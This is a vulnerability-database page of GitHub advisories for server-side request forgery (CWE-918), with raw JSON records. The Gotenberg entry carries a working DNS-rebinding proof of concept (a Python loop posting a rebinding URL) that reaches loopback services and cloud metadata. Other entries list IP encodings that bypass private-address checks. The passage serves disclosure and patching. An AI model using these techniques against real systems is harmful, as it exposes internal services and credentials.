Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4733 vulnerabilities reference this CWE, most recent first.

GHSA-2P28-95F5-Q8Q3

Vulnerability from github – Published: 2026-04-28 21:36 – Updated: 2026-04-28 21:36
VLAI
Details

NVIDIA NemoClaw contains a vulnerability in the validateEndpointUrl() SSRF protection component, where an attacker could cause a server-side request forgery by supplying a crafted endpoint URL referencing the 0.0.0.0/8 address range through a blueprint configuration file or CLI flag. A successful exploit of this vulnerability may lead to information disclosure.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-24231"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-28T19:36:45Z",
    "severity": "MODERATE"
  },
  "details": "NVIDIA NemoClaw contains a vulnerability in the validateEndpointUrl() SSRF protection component, where an attacker could cause a server-side request forgery by supplying a crafted endpoint URL referencing the 0.0.0.0/8 address range through a blueprint configuration file or CLI flag. A successful exploit of this vulnerability may lead to information disclosure.",
  "id": "GHSA-2p28-95f5-q8q3",
  "modified": "2026-04-28T21:36:12Z",
  "published": "2026-04-28T21:36:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24231"
    },
    {
      "type": "WEB",
      "url": "https://nvidia.custhelp.com/app/answers/detail/a_id/5837"
    },
    {
      "type": "WEB",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-24231"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2P57-RM9W-GVFP

Vulnerability from github – Published: 2024-06-02 22:29 – Updated: 2025-01-17 21:31
VLAI
Summary
ip SSRF improper categorization in isPublic
Details

The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "ip"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "2.0.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-29415"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-06-02T22:29:29Z",
    "nvd_published_at": "2024-05-27T20:15:08Z",
    "severity": "HIGH"
  },
  "details": "The ip package through 2.0.1 for Node.js might allow SSRF because some IP addresses (such as 127.1, 01200034567, 012.1.2.3, 000:0:0000::01, and ::fFFf:127.0.0.1) are improperly categorized as globally routable via isPublic. NOTE: this issue exists because of an incomplete fix for CVE-2023-42282.",
  "id": "GHSA-2p57-rm9w-gvfp",
  "modified": "2025-01-17T21:31:38Z",
  "published": "2024-06-02T22:29:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-29415"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/issues/150"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/pull/143"
    },
    {
      "type": "WEB",
      "url": "https://github.com/indutny/node-ip/pull/144"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/indutny/node-ip"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20250117-0010"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ip SSRF improper categorization in isPublic"
}

GHSA-2P6H-WFW7-47WV

Vulnerability from github – Published: 2026-02-25 18:31 – Updated: 2026-02-25 18:31
VLAI
Details

A weakness has been identified in feiyuchuixue sz-boot-parent up to 1.3.2-beta. This vulnerability affects unknown code of the file /api/admin/common/files/download. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. Upgrading to version 1.3.3-beta is able to resolve this issue. This patch is called aefaabfd7527188bfba3c8c9eee17c316d094802. Upgrading the affected component is advised. The project was informed beforehand and acted very professional: "We have added a URL protocol whitelist validation to the file download interface, allowing only http and https protocols."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-3189"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-25T17:25:42Z",
    "severity": "LOW"
  },
  "details": "A weakness has been identified in feiyuchuixue sz-boot-parent up to 1.3.2-beta. This vulnerability affects unknown code of the file /api/admin/common/files/download. Executing a manipulation of the argument url can lead to server-side request forgery. The attack can be executed remotely. Attacks of this nature are highly complex. It is stated that the exploitability is difficult. Upgrading to version 1.3.3-beta is able to resolve this issue. This patch is called aefaabfd7527188bfba3c8c9eee17c316d094802. Upgrading the affected component is advised. The project was informed beforehand and acted very professional: \"We have added a URL protocol whitelist validation to the file download interface, allowing only http and https protocols.\"",
  "id": "GHSA-2p6h-wfw7-47wv",
  "modified": "2026-02-25T18:31:39Z",
  "published": "2026-02-25T18:31:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-3189"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent/commit/aefaabfd7527188bfba3c8c9eee17c316d094802"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent"
    },
    {
      "type": "WEB",
      "url": "https://github.com/feiyuchuixue/sz-boot-parent/releases/tag/v1.3.3-beta"
    },
    {
      "type": "WEB",
      "url": "https://github.com/yuccun/CVE/blob/main/sz-boot-parent-SSRF_and_Arbitrary_File_Read.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.347747"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.347747"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.754042"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-2P76-GC46-5FVC

Vulnerability from github – Published: 2025-06-10 20:10 – Updated: 2025-06-10 20:10
VLAI
Summary
GeoNetwork affected by XML External Entity (XXE) processing vulnerability in WFS indexing REST API endpoint
Details

Impact

GeoNetwork WFS Index functionality is affected by GeoTools XML External Entity (XXE) vulnerability during schema validation.

This vulnerability is particularly severe as the REST API endpoint was not secured, potentially allowing unauthenticated attackers to read sensitive files

Patches

GeoNetwork 4.4.8 / 4.2.13.

Workarounds

Remove the gn-wfsfeature-harvester and gn-camelPeriodicProducer jars, disabling the WFS Index functionality.

References

  • GHSA-826p-4gcg-35vw
  • https://github.com/geonetwork/core-geonetwork/pull/8757
  • https://github.com/geonetwork/core-geonetwork/pull/8803
  • https://github.com/geonetwork/core-geonetwork/pull/8812
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:gn-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4.0"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:gn-web-app"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.4.7"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:gn-wfsfeature-harvester"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.4.0"
            },
            {
              "fixed": "4.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.2.12"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.geonetwork-opensource:gn-wfsfeature-harvester"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.2.0"
            },
            {
              "fixed": "4.2.13"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-611",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-06-10T20:10:42Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\n\nGeoNetwork WFS Index functionality is affected by GeoTools XML External Entity (XXE) vulnerability during schema validation. \n\nThis vulnerability is particularly severe as the REST API endpoint was not secured, potentially allowing unauthenticated attackers to read sensitive files \n\n### Patches\n\nGeoNetwork 4.4.8 / 4.2.13.\n\n### Workarounds\n\nRemove the ``gn-wfsfeature-harvester`` and ``gn-camelPeriodicProducer``  jars, disabling the WFS Index functionality. \n\n### References\n\n- [GHSA-826p-4gcg-35vw](https://github.com/geotools/geotools/security/advisories/GHSA-826p-4gcg-35vw)\n- https://github.com/geonetwork/core-geonetwork/pull/8757\n- https://github.com/geonetwork/core-geonetwork/pull/8803\n- https://github.com/geonetwork/core-geonetwork/pull/8812",
  "id": "GHSA-2p76-gc46-5fvc",
  "modified": "2025-06-10T20:10:42Z",
  "published": "2025-06-10T20:10:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2p76-gc46-5fvc"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geotools/geotools/security/advisories/GHSA-826p-4gcg-35vw"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/pull/8757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/pull/8803"
    },
    {
      "type": "WEB",
      "url": "https://github.com/geonetwork/core-geonetwork/pull/8812"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/geonetwork/core-geonetwork"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "GeoNetwork affected by XML External Entity (XXE) processing vulnerability in WFS indexing REST API endpoint"
}

GHSA-2P95-QR38-WG9F

Vulnerability from github – Published: 2022-05-24 16:46 – Updated: 2024-04-04 00:45
VLAI
Details

OX Software GmbH OX App Suite 7.8.4 and earlier is affected by: SSRF.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-13667"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2019-05-23T18:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "OX Software GmbH OX App Suite 7.8.4 and earlier is affected by: SSRF.",
  "id": "GHSA-2p95-qr38-wg9f",
  "modified": "2024-04-04T00:45:35Z",
  "published": "2022-05-24T16:46:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-13667"
    },
    {
      "type": "WEB",
      "url": "https://documentation.open-xchange.com/7.8.3/release-notes/release-notes.html"
    },
    {
      "type": "WEB",
      "url": "http://ox.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PJM-HWX3-G287

Vulnerability from github – Published: 2024-04-24 09:30 – Updated: 2026-04-28 21:34
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in Pavex Embed Google Photos album.This issue affects Embed Google Photos album: from n/a through 2.1.9.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-32775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-24T08:15:39Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Pavex Embed Google Photos album.This issue affects Embed Google Photos album: from n/a through 2.1.9.",
  "id": "GHSA-2pjm-hwx3-g287",
  "modified": "2026-04-28T21:34:52Z",
  "published": "2024-04-24T09:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-32775"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/vulnerability/embed-google-photos-album-easily/wordpress-embed-google-photos-album-plugin-2-1-9-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PMG-8J9G-3C72

Vulnerability from github – Published: 2026-06-30 21:31 – Updated: 2026-06-30 21:31
VLAI
Details

IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the apiDiscovery-1.0 feature enabled.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-11714"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-06-30T20:17:28Z",
    "severity": "HIGH"
  },
  "details": "IBM WebSphere Application Server - Liberty 17.0.0.3 through 26.0.0.7 is affected by a server-side request forgery vulnerability with the apiDiscovery-1.0 feature enabled.",
  "id": "GHSA-2pmg-8j9g-3c72",
  "modified": "2026-06-30T21:31:44Z",
  "published": "2026-06-30T21:31:44Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-11714"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7278580"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-2PMR-289P-44R3

Vulnerability from github – Published: 2026-05-07 00:57 – Updated: 2026-06-08 20:10
VLAI
Summary
Gotenberg's DNS rebinding bypasses SSRF validation on Chromium URL conversion routes
Details

Summary

FilterOutboundURL resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP Fetch.requestPaused handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium's actual TCP connect. The rendered internal service response returns to the caller as a PDF.

Details

pkg/gotenberg/outbound.go:227-230 drops the pinned IPs from the outbound decision:

func FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {
    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)
    return err
}

The Chromium convert path at pkg/modules/chromium/browser.go:341 calls FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline) and, on success, hands the raw URL string to Chromium via CDP. Chromium's network stack issues its own DNS lookup for the hostname, independent of Go's resolver.

The CDP Fetch.requestPaused listener at pkg/modules/chromium/events.go:55 runs a second check:

err := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)

This also calls decideOutbound, which again resolves DNS, checks, and returns only the error. After the handler calls fetch.ContinueRequest at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.

The webhook and downloadFrom paths avoid this class by using gotenberg.NewOutboundHttpClient at pkg/gotenberg/outbound.go:269-280, which wires a secureDialContext that pins resolved IPs through dialPinned. The Chromium navigation path has no equivalent. The --chromium-host-resolver-rules flag at pkg/modules/chromium/chromium.go:446 defaults to empty, so no operator-provided mapping closes the gap in default deployments.

Proof of Concept

Reproduction uses a public DNS service that randomizes the response per query. rebind.<subdomain>.requestrepo.com resolves to <public-ip> or 127.0.0.1 with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return <public-ip>%127.0.0.1.

Setup:

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

# Simulate an internal-only HTTP service that the default deny-list blocks.
docker exec gotenberg-poc sh -c \
    'mkdir -p /tmp/rebind_srv && \
     echo "<h1>INTERNAL-ONLY-REBIND-HIT</h1>" > /tmp/rebind_srv/index.html'
docker exec -d gotenberg-poc sh -c \
    'cd /tmp/rebind_srv && python3 -m http.server 80 --bind 127.0.0.1'

Alice runs the attack without auth:

import requests, subprocess
T = "http://localhost:3000"
REBIND = "http://rebind.<subdomain>.requestrepo.com/"
MARKER = "INTERNAL-ONLY-REBIND-HIT"

hits = 0
for i in range(20):
    r = requests.post(
        f"{T}/forms/chromium/convert/url",
        files={"url": (None, REBIND)},
        timeout=30,
    )
    if r.status_code != 200:
        continue
    open("/tmp/_r.pdf", "wb").write(r.content)
    txt = subprocess.run(
        ["pdftotext", "/tmp/_r.pdf", "-"],
        capture_output=True, text=True,
    ).stdout
    if MARKER in txt:
        hits += 1

print(f"{hits}/20 rebind hits")

Observed output against gotenberg 8.31.0:

2/20 rebind hits

The marker renders in the attacker's PDF output. 127.0.0.1:80 serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.

Impact

An unauthenticated caller reaches HTTP services bound to the Gotenberg container's loopback interface, cloud metadata endpoints at 169.254.169.254, and services on other private-network addresses. Gotenberg's deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker's normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.

Recommended Fix

Pin the resolved IP from Gotenberg's decideOutbound check all the way to Chromium's connect. Export the existing decideOutbound function as DecideOutbound, then use the returned pinned IP to rewrite the Chromium navigation URL inside the Fetch.requestPaused handler via fetch.ContinueRequest. Set the Host header to the original hostname so TLS and virtual-host routing still work:

decision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)
if err != nil {
    allow = false
} else if len(decision.Pinned) > 0 {
    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())
    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)
}

Alternative: pass --host-resolver-rules="MAP <hostname> <pinned-ip>" to Chromium when starting the per-request session, derived from the FilterOutboundURL resolution. This is the same mechanism the --chromium-host-resolver-rules flag already exposes to operators, just applied automatically per request.


Found by aisafe.io

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/gotenberg/gotenberg/v8"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "8.31.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42592"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-367",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T00:57:37Z",
    "nvd_published_at": "2026-05-14T16:16:22Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\n`FilterOutboundURL` resolves the hostname, checks the resolved IPs against the private-address deny-list, and returns only the error. It discards the resolved addresses. Chromium later performs its own DNS resolution when it navigates to the URL. An attacker who controls DNS for a hostname with a short TTL returns a public IP on the first query (Gotenberg allows) and a private IP on the second query (Chromium connects to the attacker-chosen internal address). The CDP `Fetch.requestPaused` handler re-checks the URL but runs its own DNS resolution, leaving a timing window before Chromium\u0027s actual TCP connect. The rendered internal service response returns to the caller as a PDF.\n\n## Details\n\n`pkg/gotenberg/outbound.go:227-230` drops the pinned IPs from the outbound decision:\n\n```go\nfunc FilterOutboundURL(ctx context.Context, rawURL string, allowList, denyList []*regexp2.Regexp, deadline time.Time) error {\n    _, err := decideOutbound(ctx, rawURL, allowList, denyList, deadline)\n    return err\n}\n```\n\nThe Chromium convert path at `pkg/modules/chromium/browser.go:341` calls `FilterOutboundURL(ctx, url, b.arguments.allowList, b.arguments.denyList, deadline)` and, on success, hands the raw URL string to Chromium via CDP. Chromium\u0027s network stack issues its own DNS lookup for the hostname, independent of Go\u0027s resolver.\n\nThe CDP `Fetch.requestPaused` listener at `pkg/modules/chromium/events.go:55` runs a second check:\n\n```go\nerr := gotenberg.FilterOutboundURL(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\n```\n\nThis also calls `decideOutbound`, which again resolves DNS, checks, and returns only the error. After the handler calls `fetch.ContinueRequest` at line 101, Chromium proceeds to the actual TCP connect and resolves DNS one more time. Between the second check and the connect, the DNS answer can change.\n\nThe webhook and downloadFrom paths avoid this class by using `gotenberg.NewOutboundHttpClient` at `pkg/gotenberg/outbound.go:269-280`, which wires a `secureDialContext` that pins resolved IPs through `dialPinned`. The Chromium navigation path has no equivalent. The `--chromium-host-resolver-rules` flag at `pkg/modules/chromium/chromium.go:446` defaults to empty, so no operator-provided mapping closes the gap in default deployments.\n\n## Proof of Concept\n\nReproduction uses a public DNS service that randomizes the response per query. `rebind.\u003csubdomain\u003e.requestrepo.com` resolves to `\u003cpublic-ip\u003e` or `127.0.0.1` with 50/50 probability per lookup. The attacker selects a subdomain and configures it to return `\u003cpublic-ip\u003e%127.0.0.1`.\n\nSetup:\n\n```bash\ndocker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8\n\n# Simulate an internal-only HTTP service that the default deny-list blocks.\ndocker exec gotenberg-poc sh -c \\\n    \u0027mkdir -p /tmp/rebind_srv \u0026\u0026 \\\n     echo \"\u003ch1\u003eINTERNAL-ONLY-REBIND-HIT\u003c/h1\u003e\" \u003e /tmp/rebind_srv/index.html\u0027\ndocker exec -d gotenberg-poc sh -c \\\n    \u0027cd /tmp/rebind_srv \u0026\u0026 python3 -m http.server 80 --bind 127.0.0.1\u0027\n```\n\nAlice runs the attack without auth:\n\n```python\nimport requests, subprocess\nT = \"http://localhost:3000\"\nREBIND = \"http://rebind.\u003csubdomain\u003e.requestrepo.com/\"\nMARKER = \"INTERNAL-ONLY-REBIND-HIT\"\n\nhits = 0\nfor i in range(20):\n    r = requests.post(\n        f\"{T}/forms/chromium/convert/url\",\n        files={\"url\": (None, REBIND)},\n        timeout=30,\n    )\n    if r.status_code != 200:\n        continue\n    open(\"/tmp/_r.pdf\", \"wb\").write(r.content)\n    txt = subprocess.run(\n        [\"pdftotext\", \"/tmp/_r.pdf\", \"-\"],\n        capture_output=True, text=True,\n    ).stdout\n    if MARKER in txt:\n        hits += 1\n\nprint(f\"{hits}/20 rebind hits\")\n```\n\nObserved output against gotenberg 8.31.0:\n\n```\n2/20 rebind hits\n```\n\nThe marker renders in the attacker\u0027s PDF output. `127.0.0.1:80` serves that byte pattern only inside the container; the public IP the rebind service alternates with serves unrelated content. The attacker confirms the TCP connect reached loopback, not the public IP. Ten percent per-attempt success rate, trivially automated.\n\n## Impact\n\nAn unauthenticated caller reaches HTTP services bound to the Gotenberg container\u0027s loopback interface, cloud metadata endpoints at `169.254.169.254`, and services on other private-network addresses. Gotenberg\u0027s deny-list blocks direct URL access to these ranges; DNS rebinding sidesteps the block. The rendered response returns as PDF output, letting the attacker read metadata tokens, internal admin interfaces, or sidecar service state depending on what the deployment runs on loopback. The attack requires controlling the DNS authority for one hostname, which is within an Internet attacker\u0027s normal capability. Each attempt succeeds about one time in ten; a handful of requests per target is enough.\n\n## Recommended Fix\n\nPin the resolved IP from Gotenberg\u0027s `decideOutbound` check all the way to Chromium\u0027s connect. Export the existing `decideOutbound` function as `DecideOutbound`, then use the returned pinned IP to rewrite the Chromium navigation URL inside the `Fetch.requestPaused` handler via `fetch.ContinueRequest`. Set the `Host` header to the original hostname so TLS and virtual-host routing still work:\n\n```go\ndecision, err := gotenberg.DecideOutbound(ctx, e.Request.URL, options.allowList, options.denyList, deadline)\nif err != nil {\n    allow = false\n} else if len(decision.Pinned) \u003e 0 {\n    pinnedURL := rewriteHost(e.Request.URL, decision.Pinned[0].String())\n    req := fetch.ContinueRequest(e.RequestID).WithURL(pinnedURL).WithHeaders(...)\n}\n```\n\nAlternative: pass `--host-resolver-rules=\"MAP \u003chostname\u003e \u003cpinned-ip\u003e\"` to Chromium when starting the per-request session, derived from the `FilterOutboundURL` resolution. This is the same mechanism the `--chromium-host-resolver-rules` flag already exposes to operators, just applied automatically per request.\n\n---\n*Found by [aisafe.io](https://aisafe.io)*",
  "id": "GHSA-2pmr-289p-44r3",
  "modified": "2026-06-08T20:10:54Z",
  "published": "2026-05-07T00:57:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-2pmr-289p-44r3"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42592"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/gotenberg/gotenberg"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Gotenberg\u0027s DNS rebinding bypasses SSRF validation on Chromium URL conversion routes"
}

GHSA-2PVR-WF23-7PC7

Vulnerability from github – Published: 2026-06-16 14:38 – Updated: 2026-06-16 14:38
VLAI
Summary
Astro: Host header SSRF in prerendered error page fetch
Details

Summary

Astro SSR apps with prerendered error pages (/404 or /500 using export const prerender = true) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from request.url, which in turn gets its origin from the incoming Host header. When the Host header is not validated against allowedDomains, an attacker can point the fetch at an arbitrary host and read the response.

Who is affected

This affects SSR deployments that:

  1. Have a prerendered 404 or 500 page
  2. Use createRequestFromNodeRequest from astro/app/node with app.render() without overriding prerenderedErrorPageFetch — this includes custom servers built on the public API and third-party adapters

Not affected: - @astrojs/node >= 9.5.4 (reads error pages from disk) - @astrojs/cloudflare (uses the ASSETS binding) - The dev server (renders error pages in-process)

How it works

createRequestFromNodeRequest builds request.url from the raw Host / :authority header. The allowedDomains option is accepted but only gates X-Forwarded-For — it does not constrain the URL origin. (The public createRequest does fall back to localhost for unvalidated hosts; this internal builder did not.)

When app.render() encounters a 404 or 500 with a prerendered error route, default-handler.ts constructs the error page URL using the origin from request.url and fetches it via prerenderedErrorPageFetch, which defaults to global fetch. The response body is served to the client.

An attacker sends a request with Host: attacker-host:port, triggers an error (e.g., requesting a nonexistent path for a 404), and receives the response from the attacker-controlled host reflected back.

Remediation

The error page fetch origin is now validated against allowedDomains before use. When the host is validated, the original origin is preserved. Otherwise, it falls back to localhost. The fetch is also wrapped in a try/catch so that connection failures degrade gracefully to a plain error response.

Credit

5ud0 / Tarmo Technologies

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.4.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54299"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T14:38:06Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nAstro SSR apps with prerendered error pages (`/404` or `/500` using `export const prerender = true`) fetch those pages over HTTP at runtime when an error occurs. The URL for this fetch is derived from `request.url`, which in turn gets its origin from the incoming `Host` header. When the `Host` header is not validated against `allowedDomains`, an attacker can point the fetch at an arbitrary host and read the response.\n\n## Who is affected\n\nThis affects SSR deployments that:\n\n1. Have a prerendered 404 or 500 page\n2. Use `createRequestFromNodeRequest` from `astro/app/node` with `app.render()` **without** overriding `prerenderedErrorPageFetch` \u2014 this includes custom servers built on the public API and third-party adapters\n\n**Not affected:**\n- `@astrojs/node` \u003e= 9.5.4 (reads error pages from disk)\n- `@astrojs/cloudflare` (uses the ASSETS binding)\n- The dev server (renders error pages in-process)\n\n## How it works\n\n`createRequestFromNodeRequest` builds `request.url` from the raw `Host` / `:authority` header. The `allowedDomains` option is accepted but only gates `X-Forwarded-For` \u2014 it does not constrain the URL origin. (The public `createRequest` does fall back to `localhost` for unvalidated hosts; this internal builder did not.)\n\nWhen `app.render()` encounters a 404 or 500 with a prerendered error route, 